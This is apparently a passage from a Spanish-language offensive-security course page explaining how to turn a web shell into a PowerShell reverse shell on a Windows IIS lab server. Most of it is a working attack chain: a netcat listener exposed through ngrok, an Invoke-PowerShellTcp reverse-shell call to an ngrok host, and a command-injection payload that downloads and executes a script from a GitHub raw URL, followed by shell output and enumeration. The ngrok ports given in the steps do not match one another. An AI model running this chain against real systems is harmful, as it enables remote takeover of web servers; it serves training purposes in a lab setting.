Migracion de WebShell a Reverse Shell via PowerShell

Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: https://wa.link/j265a0. ¡Te esperamos para empezar este viaje juntos!

Ahora es importante que tengas configurado con nuestra guia de Utilizando IP publica para auditorias reales

Ahora levantamos un puerto 80 sobre el servicio de HTTP y encendemos ngrok sobre ese puerto:

En la evidencia previa, se puede apreciar que estoy accediendo desde el navegador a la URL generada por NGROK que esta exponiendo los archivos a nivel de HTTP con python.

Ahora vamos a iniciar nuestro oyente donde recibiremos la shell inversa:

En la evidencia previa, se realizo un Bypass ANSI y se configuro en la ultima linea de la shell inversa la ejecuccion de la funcion especificando el host y puerto de Ngrok:

Invoke-PowerShellTcp -Reverse -IPAddress 8.tcp.us-cal-1.ngrok.io -Port 14944

La IpAddress seria el host que nos entrega Ngrok y el puerto seria lo que esta despues de los dos puntos.

La shell utilizada es:

Ahora vamos a replicar todo lo aprendido sobre el laboratorio:

Vamos a concatenar el bypass ANSI con el Invoke-PowerShellTCP:

Despues de lo anterior configuramos nuestro oyente de netcat:

kali@kali=> nc -nvlp 443

Y configuramos nuestro ngrok:

kali@kali=> ./ngrok tcp 443
Version                       3.3.5                                                                      
Region                        United States (us)                                                         
Latency                       76ms                                                                       
Web Interface                 http://127.0.0.1:4040                                                      
Forwarding                    tcp://6.tcp.ngrok.io:19858 -> localhost:443 

Y luego tomamos los valores entregados por Ngrok y modificamos la shell inversa:

Invoke-PowerShellTcp -Reverse -IPAddress 4.tcp.ngrok.io -Port 10690

La shell inversa final quedaria asi:

Teniendo en cuenta la explicacion de Utilizando IP publicas y dominios confiables para el almacenamiento de herramientas vamos a subir esta shell en GitHub.

Y Finalmente, ejecutamos lo siguiente sobre el servidor web:

8.8.8.8& powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Spartan-Cybersecurity/CPPJ/main/PowerCPPJ.ps1')"

Despues de ejecutar esto en el navegador, vamos a obtener nuestra shell inversa:

kali@kali=> nc -nvlp 443                 
listening on [any] 443 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 54972
Windows PowerShell running as user WEBSERVER$ on WEBSERVER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\windows\system32\inetsrv>

Desde aqui podriamos ejecutar los mismos comandos enseñados de enumeracion:

PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool

PS C:\windows\system32\inetsrv> hostname
WebServer

PS C:\windows\system32\inetsrv> ipconfig
Windows IP Configuration

Ethernet adapter Ethernet 2:
   Connection-specific DNS Suffix  . : spartancybersec.corp
   Link-local IPv6 Address . . . . . : fe80::3dce:ac79:a1b0:7820%7
   IPv4 Address. . . . . . . . . . . : 10.0.1.249
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.0.1.1

Última actualización

¿Te fue útil?